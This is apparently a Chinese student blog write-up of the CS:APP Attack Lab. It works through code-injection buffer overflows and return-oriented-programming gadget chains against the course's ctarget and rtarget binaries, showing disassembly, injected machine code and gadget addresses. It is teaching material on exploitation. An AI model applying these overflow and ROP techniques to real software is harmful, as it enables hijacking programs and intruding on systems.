赞
踩
下载文件包并使用命令tar -xvf target54.tar
解压之,得到包含以下文件的文件夹:
用命令objdump -d ctarget > ctarget.asm
和命令objdump -d rtarget > rtarget.asm
分别得到这两个可执行文件的反汇编文件ctarget.asm
,rtarget.asm
用于后续实验.
声明:由于自己的VMware虚拟机版本不兼容,本人便将目标文件夹内容复制到老师提供的远程服务器中自己创建的目录,在后续实验过程中,主要通过windows终端在远程服务器上进行实验.
首先,由于目标程序ctarget
和rtarget
都通过getbuf
函数来从标准输入中读取字符串,对应的C代码如下:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
在先前得到的反汇编代码中找到如下的函数getbuf
的汇编代码:
00000000004016c2 <getbuf>:
4016c2: 48 83 ec 18 sub $0x18,%rsp
4016c6: 48 89 e7 mov %rsp,%rdi
4016c9: e8 7e 02 00 00 call 40194c <Gets>
4016ce: b8 01 00 00 00 mov $0x1,%eax
4016d3: 48 83 c4 18 add $0x18,%rsp
4016d7: c3 ret
发现有一步操作:sub $0x18,%rsp
,说明缓冲区最大空间为24个字节,如果读取到的输入字符串大于24字节,就会发生缓冲区溢出.当超过24字节的部分作为函数返回地址,若恰好为对应得正确地址,则过关,否则引发段错误.
由lab手册可知,本关的任务是让 ctarget
在getbuf
执行其return
语句时执行touch1
的代码,而不是返回到 test
,因此在ctarget
的反汇编文件里找到touch1
,并发现其地址是00 40 16 d8
.
00000000004016d8 <touch1>:
4016d8: 48 83 ec 08 sub $0x8,%rsp
4016dc: c7 05 16 2e 20 00 01 movl $0x1,0x202e16(%rip) # 6044fc <vlevel>
4016e3: 00 00 00
4016e6: bf 83 2e 40 00 mov $0x402e83,%edi
4016eb: e8 10 f5 ff ff call 400c00 <puts@plt>
4016f0: bf 01 00 00 00 mov $0x1,%edi
4016f5: e8 97 04 00 00 call 401b91 <validate>
4016fa: bf 00 00 00 00 mov $0x0,%edi
4016ff: e8 5c f6 ff ff call 400d60 <exit@plt>
而由上对getbuf
的分析知,应当输入超过24个字节长度的字符串,并且使得超出部分恰好为函数touch1
的地址以便于执行touch1
的代码.
因此,可以创建文本文件ctargetl1.txt
以输入漏洞字符串,只要保证前24个字节是除了0x0a
(因为这个代表\n
,会使得读取提前结束)以外的数,并且最后输入函数touch1
的地址即可,但是由于是小端寻址机器,因此需要反向传入,即:d8 16 40 00
,文本内容如下:
在终端验证,显示为PASS,说明Phase 1通过.
根据分析手册中提供的C代码可知,本关的任务是让getbuf
执行后能执行touch2
的代码,并要求将cookie
作为参数传递给touch2
(这要通过修改寄存器%rdi
的值为cookie
来实现)在反汇编代码中找到touch2
对应的汇编代码:
0000000000401704 <touch2>: 401704: 48 83 ec 08 sub $0x8,%rsp 401708: 89 fa mov %edi,%edx 40170a: c7 05 e8 2d 20 00 02 movl $0x2,0x202de8(%rip) # 6044fc <vlevel> 401711: 00 00 00 401714: 39 3d ea 2d 20 00 cmp %edi,0x202dea(%rip) # 604504 <cookie> 40171a: 75 20 jne 40173c <touch2+0x38> 40171c: be a8 2e 40 00 mov $0x402ea8,%esi 401721: bf 01 00 00 00 mov $0x1,%edi 401726: b8 00 00 00 00 mov $0x0,%eax 40172b: e8 f0 f5 ff ff call 400d20 <__printf_chk@plt> 401730: bf 02 00 00 00 mov $0x2,%edi 401735: e8 57 04 00 00 call 401b91 <validate> 40173a: eb 1e jmp 40175a <touch2+0x56> 40173c: be d0 2e 40 00 mov $0x402ed0,%esi 401741: bf 01 00 00 00 mov $0x1,%edi 401746: b8 00 00 00 00 mov $0x0,%eax 40174b: e8 d0 f5 ff ff call 400d20 <__printf_chk@plt> 401750: bf 02 00 00 00 mov $0x2,%edi 401755: e8 f9 04 00 00 call 401c53 <fail> 40175a: bf 00 00 00 00 mov $0x0,%edi 40175f: e8 fc f5 ff ff call 400d60 <exit@plt>
思路:
1.把cookie
存入寄存器%rdi
中;
2.想办法进入touch2
.
首先需要得到实现步骤一的指令的字节表示机器码,通过编写.s
文件codel2.s
,
步骤为:
1.将cookie
传给寄存器%rdi
;
2.将touch2
地址压入栈中;
3.返回,转移控制到touch2
.
接着用指令gcc -c codel2.s
得到机器码文件codel2.o
再用指令objdump -d codel2.o > codel2.txt
,得到反汇编代码以查看机器码如下.
48 c7 c7 46 5c c5 18 68 04 17 40 00 c3
就是需要写进去的机器码.
接着需要找到开栈地址,首先需要知道调用getbuf
前的栈地址,在getbuf
的首地址0x4016c2
处打断点,即还没开始运行该函数时,并查看此时栈指针%rsp
的值.
得到此时%rsp
的值为0x55640870
,根据getbuf
中分配24字节内存,得到开栈地址为
0x55640870 - 0x18 = 0x55640858
于是写一个ctargetl2.txt
文件输入以下内容作为攻击代码:
在终端验证,显示为PASS,说明Phase 2通过.
根据手册要求,本关需要将cookie
转为字符串的字节表示,并将指向它的指针作为参数传给touch3
,然后要在执行完getbuf
后能按上述要求执行函数touch3
.
为了得到cookie
作为字符串的字节表示,可在Linux终端输入man ascii
以查看所需字符的字节表示:
cookie
的值为0x18c55c46
,通过查看上述表格,将其视为字符串时,对应字节的十六进制表示为:
31 38 63 35 35 63 34 36 00
(不显示前导0x
)
注意手册中提示到:要注意cookie
在栈中存放的位置,因为test
会压入一些数据进栈,因此getbuf
缓冲区可能会被覆盖,所以尽量不要将cookie
存在缓冲区中.
因此可以选择将其安放在开栈前栈指针的上方,即%rsp初始值
+8.而由上一关得到的%rsp
初始值为0x55640870
,因此需要将其+8得到0x55640878
,这就是字符串cookie
的地址.
接下来就要进行类似上一关的操作:
1.将cookie
的首地址传给寄存器%rdi
;
2.将touch3
地址压入栈中;
3.返回,转移控制到touch3
.
同时在反汇编文件中找到touch3
的地址是0x401815
.
为了得到实现上述的指令的字节表示机器码,通过编写.s
文件codel3.s
:
用指令gcc -c codel3.s
得到机器码文件codel3.o
.
再用指令objdump -d codel3.o > codel3.txt
,得到反汇编代码以查看机器码如下:
48 c7 c7 78 08 64 55 68 15 18 40 00 c3
就是需要写进去的机器码.
最后,写一个ctargetl3.txt
文件输入以下内容作为攻击代码(除上述应当输入的内容有指定位置要求外,缓冲区剩下的部分随意填充,填满即可):
在终端验证,显示为PASS,说明Phase 3通过.
Part II的目标程序使用了栈随机化和禁止栈中使用命令来防止遭受攻击,这导致我们不能像Part I一样使用栈中确切的位置来返回命令.
然而,根据手册的说明,我们可以通过在"小工具场"中提取出有用的"小工具",它们经过反汇编后得到一些有趣的字节序列,能够出现mov
指令和ret
指令,这样就得以不断地跳转,以实现类似Part I的目的.
本关的任务是利用小工具场的小工具在rtarget
上实现与Phase 2相同效果的攻击.(只能使用从函数start_farm
到函数mid_farm
之间的小工具;并且只需要使用两个小工具就可以实现)
实验中需要用到的指令对应的机器码:
在反汇编文件中,start_farm
到end_farm
之间的小工具如下:
00000000004018ac <start_farm>: 4018ac: b8 01 00 00 00 mov $0x1,%eax 4018b1: c3 ret 00000000004018b2 <setval_102>: 4018b2: c7 07 3a 72 f7 58 movl $0x58f7723a,(%rdi) 4018b8: c3 ret 00000000004018b9 <setval_350>: 4018b9: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi) 4018bf: c3 ret 00000000004018c0 <setval_147>: 4018c0: c7 07 58 89 c7 c3 movl $0xc3c78958,(%rdi) 4018c6: c3 ret 00000000004018c7 <getval_352>: 4018c7: b8 8d 58 58 c7 mov $0xc758588d,%eax 4018cc: c3 ret 00000000004018cd <addval_327>: 4018cd: 8d 87 42 48 89 c7 lea -0x3876b7be(%rdi),%eax 4018d3: c3 ret 00000000004018d4 <setval_473>: 4018d4: c7 07 0f 58 c7 ae movl $0xaec7580f,(%rdi) 4018da: c3 ret 00000000004018db <getval_431>: 4018db: b8 48 89 c7 c3 mov $0xc3c78948,%eax 4018e0: c3 ret 00000000004018e1 <setval_104>: 4018e1: c7 07 0c d5 58 c3 movl $0xc358d50c,(%rdi) 4018e7: c3 ret 00000000004018e8 <mid_farm>: 4018e8: b8 01 00 00 00 mov $0x1,%eax 4018ed: c3 ret /*以上为Phase 4需要用到的小工具*/ 00000000004018ee <add_xy>: 4018ee: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4018f2: c3 ret 00000000004018f3 <getval_270>: 4018f3: b8 2e c3 81 d6 mov $0xd681c32e,%eax 4018f8: c3 ret 00000000004018f9 <setval_461>: 4018f9: c7 07 89 ca a4 d2 movl $0xd2a4ca89,(%rdi) 4018ff: c3 ret 0000000000401900 <getval_267>: 401900: b8 f9 89 d6 c7 mov $0xc7d689f9,%eax 401905: c3 ret 0000000000401906 <addval_212>: 401906: 8d 87 99 c1 20 d2 lea -0x2ddf3e67(%rdi),%eax 40190c: c3 ret 000000000040190d <addval_412>: 40190d: 8d 87 88 d6 84 c9 lea -0x367b2978(%rdi),%eax 401913: c3 ret 0000000000401914 <addval_126>: 401914: 8d 87 89 ca 20 d2 lea -0x2ddf3577(%rdi),%eax 40191a: c3 ret 000000000040191b <setval_148>: 40191b: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi) 401921: c3 ret 0000000000401922 <getval_493>: 401922: b8 4c 89 e0 90 mov $0x90e0894c,%eax 401927: c3 ret 0000000000401928 <addval_469>: 401928: 8d 87 89 d6 84 db lea -0x247b2977(%rdi),%eax 40192e: c3 ret 000000000040192f <addval_225>: 40192f: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax 401935: c3 ret 0000000000401936 <addval_314>: 401936: 8d 87 8d c1 90 c3 lea -0x3c6f3e73(%rdi),%eax 40193c: c3 ret 000000000040193d <addval_495>: 40193d: 8d 87 d3 df 89 c1 lea -0x3e76202d(%rdi),%eax 401943: c3 ret 0000000000401944 <getval_175>: 401944: b8 8b d6 20 d2 mov $0xd220d68b,%eax 401949: c3 ret 000000000040194a <getval_183>: 40194a: b8 89 ca 60 d2 mov $0xd260ca89,%eax 40194f: c3 ret 0000000000401950 <addval_339>: 401950: 8d 87 48 99 e0 c3 lea -0x3c1f66b8(%rdi),%eax 401956: c3 ret 0000000000401957 <getval_435>: 401957: b8 88 ca 20 c9 mov $0xc920ca88,%eax 40195c: c3 ret 000000000040195d <addval_458>: 40195d: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax 401963: c3 ret 0000000000401964 <addval_498>: 401964: 8d 87 89 c1 18 db lea -0x24e73e77(%rdi),%eax 40196a: c3 ret 000000000040196b <addval_211>: 40196b: 8d 87 89 d6 38 db lea -0x24c72977(%rdi),%eax 401971: c3 ret 0000000000401972 <setval_381>: 401972: c7 07 48 a9 e0 c3 movl $0xc3e0a948,(%rdi) 401978: c3 ret 0000000000401979 <getval_131>: 401979: b8 88 c1 38 d2 mov $0xd238c188,%eax 40197e: c3 ret 000000000040197f <setval_149>: 40197f: c7 07 88 ca 84 c0 movl $0xc084ca88,(%rdi) 401985: c3 ret 0000000000401986 <setval_374>: 401986: c7 07 81 c1 c3 b7 movl $0xb7c3c181,(%rdi) 40198c: c3 ret 000000000040198d <getval_168>: 40198d: b8 89 c1 84 db mov $0xdb84c189,%eax 401992: c3 ret 0000000000401993 <getval_142>: 401993: b8 48 89 e0 91 mov $0x91e08948,%eax 401998: c3 ret 0000000000401999 <addval_445>: 401999: 8d 87 89 ca 90 c3 lea -0x3c6f3577(%rdi),%eax 40199f: c3 ret 00000000004019a0 <getval_132>: 4019a0: b8 89 ca c2 d5 mov $0xd5c2ca89,%eax 4019a5: c3 ret 00000000004019a6 <addval_390>: 4019a6: 8d 87 48 89 e0 90 lea -0x6f1f76b8(%rdi),%eax 4019ac: c3 ret 00000000004019ad <setval_277>: 4019ad: c7 07 89 ca 28 c9 movl $0xc928ca89,(%rdi) 4019b3: c3 ret 00000000004019b4 <getval_180>: 4019b4: b8 89 d6 92 90 mov $0x9092d689,%eax 4019b9: c3 ret 00000000004019ba <getval_324>: 4019ba: b8 81 d6 08 d2 mov $0xd208d681,%eax 4019bf: c3 ret 00000000004019c0 <addval_465>: 4019c0: 8d 87 89 c1 18 c0 lea -0x3fe73e77(%rdi),%eax 4019c6: c3 ret 00000000004019c7 <end_farm>: 4019c7: b8 01 00 00 00 mov $0x1,%eax 4019cc: c3 ret
根据Phase 2的解法,应当先popq %rax
,再把cookie
存到%rdi
中,然后retq
返回到touch2
.
在工具场中对应搜索指令:movq
:48 89,popq
:58,retq
:c3,其中指令c3
必须紧随movq
指令和popq
指令之后.
找到两个有用且有效的指令:
1.popq %rax
(地址是0x4018e5
)
00000000004018e1 <setval_104>:
4018e1: c7 07 0c d5 58 c3 movl $0xc358d50c,(%rdi)
4018e7: c3 ret
2.movq %rax,%rdi
(地址是0x4018d0
)
00000000004018cd <addval_327>:
4018cd: 8d 87 42 48 89 c7 lea -0x3876b7be(%rdi),%eax
4018d3: c3 ret
因此,完成目标所需要的操作指令为:
popq %rax /* 此指令的栈上方需有数据,即cookie的值,以作为%rax */
retq
movq %rax,%rdi
retq /* 此指令的栈上方需有touch2的地址,即0x401704,以返回 */
因此,写一个rtargetl2.txt
文件输入以下内容:
在终端验证,显示为PASS,说明Phase 4通过.
本关的任务是利用小工具场的小工具在rtarget
上实现与Phase 3相同效果的攻击.(现允许使用从函数start_farm
到函数end_farm
之间所有的小工具;并且大概率需要使用八个小工具才能实现).
分析:
由于有栈随机化的存在,我们虽不能确定指针的具体位置,但是仍然可以通过栈顶位置+偏移来获取cookie
字符串所在的栈地址.
推导:
1.首先要想获取栈顶位置,在工具场中进一步寻找,发现可通过生成指令movq %rsp,%rax
的小工具来实现;
2.接着,用小工具场中能产生指令movq %rax,%rdi
的小工具来让%rdi
存放栈顶位置;
3.接着需要加上相对偏移量以得到字符串的栈地址,而发现工具场中恰好有指令lea (%rdi,%rsi,1),%rax
,因此只需在执行lea
命令前将位置偏移量算出来存到%rsi
中即可;
4.为了计算位置偏移量%rsi
,需要寻找与%rsi
相关的指令,经过不懈努力也只找到了movl %edx,%esi
,而且后面还跟着对低阶字节的操作,但不会造成什么影响,因此,按照逆向工程,还需要:movl %eax,%ecx
和movl %ecx,%edx
.发现最前面的指令是将%rax
作为源操作数,而由上一个Phase知小工具场中存在能生成指令popq %rax
的小工具,因此可以事先将一个指定的偏移bias传给%rax
,这个bias就是由于注入的小工具机器码堆叠所形成的.(最终分析知是bias = 10*8-8 = 72
个字节 )
因此可得到以下流程:
1.movq %rsp,%rax
(地址是0x401931
)
000000000040192f <addval_225>:
40192f: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax
401935: c3 ret
2.movq %rax,%rdi
(地址是0x4018d0
)
00000000004018cd <addval_327>:
4018cd: 8d 87 42 48 89 c7 lea -0x3876b7be(%rdi),%eax
4018d3: c3 ret
3.popq %rax
(地址是0x4018e5
)(下一步紧接着传入一个指定值0x48
)
00000000004018e1 <setval_104>:
4018e1: c7 07 0c d5 58 c3 movl $0xc358d50c,(%rdi)
4018e7: c3 ret
4.movl %eax,%ecx
(地址是0x401941
)
000000000040193d <addval_495>:
40193d: 8d 87 d3 df 89 c1 lea -0x3e76202d(%rdi),%eax
401943: c3 ret
5.movl %ecx,%edx
(地址是0x401916
);
cmpb %dl,%dl
(地址是0x401918
)
0000000000401914 <addval_126>:
401914: 8d 87 89 ca 20 d2 lea -0x2ddf3577(%rdi),%eax
40191a: c3 ret
6.movl %edx,%esi
(地址是0x40196d
);
cmpb %bl,%bl
(地址是0x40196f
)
000000000040196b <addval_211>:
40196b: 8d 87 89 d6 38 db lea -0x24c72977(%rdi),%eax
401971: c3 ret
7.lea (%rdi,%rsi,1),%rax
(地址就是0x4018ee
)
00000000004018ee <add_xy>:
4018ee: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4018f2: c3 ret
8.movq %rax,%rdi
(地址是0x4018d0
)
00000000004018cd <addval_327>:
4018cd: 8d 87 42 48 89 c7 lea -0x3876b7be(%rdi),%eax
4018d3: c3 ret
因此,写一个rtargetl3.txt
文件输入以下内容:
在终端验证,显示为PASS,说明Phase 5通过.
本实验通过寻找基于代码注入和面向返回的编程的漏洞,对程序进行缓冲区溢出攻击,通过所学知识恰当制作多余输入的内容以最终达到测试程序能够意外执行指定函数touch
的目的.
完成本次试验后,的确收获到这些成果:更深入了解x86-64机器码的堆栈规则,以及更好地了解到如何编写更安全的程序,以及知晓了编译器和操作系统提供的使程序不那么脆弱的一些功能.
文末声明:笔者绝非单凭一己之力完成,实验过程中参考了以下几位博客,如在本文中有疑惑之处,请参见之,同时也希望本文记录的实验过程能帮助大家更好地完成CS:APP系列的Lab以及缓冲区溢出攻击的原理.
参考博客:
[1]CSAPP Lab3:Attack Lab
[2]《深入理解计算机系统》实验三Attack Lab
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。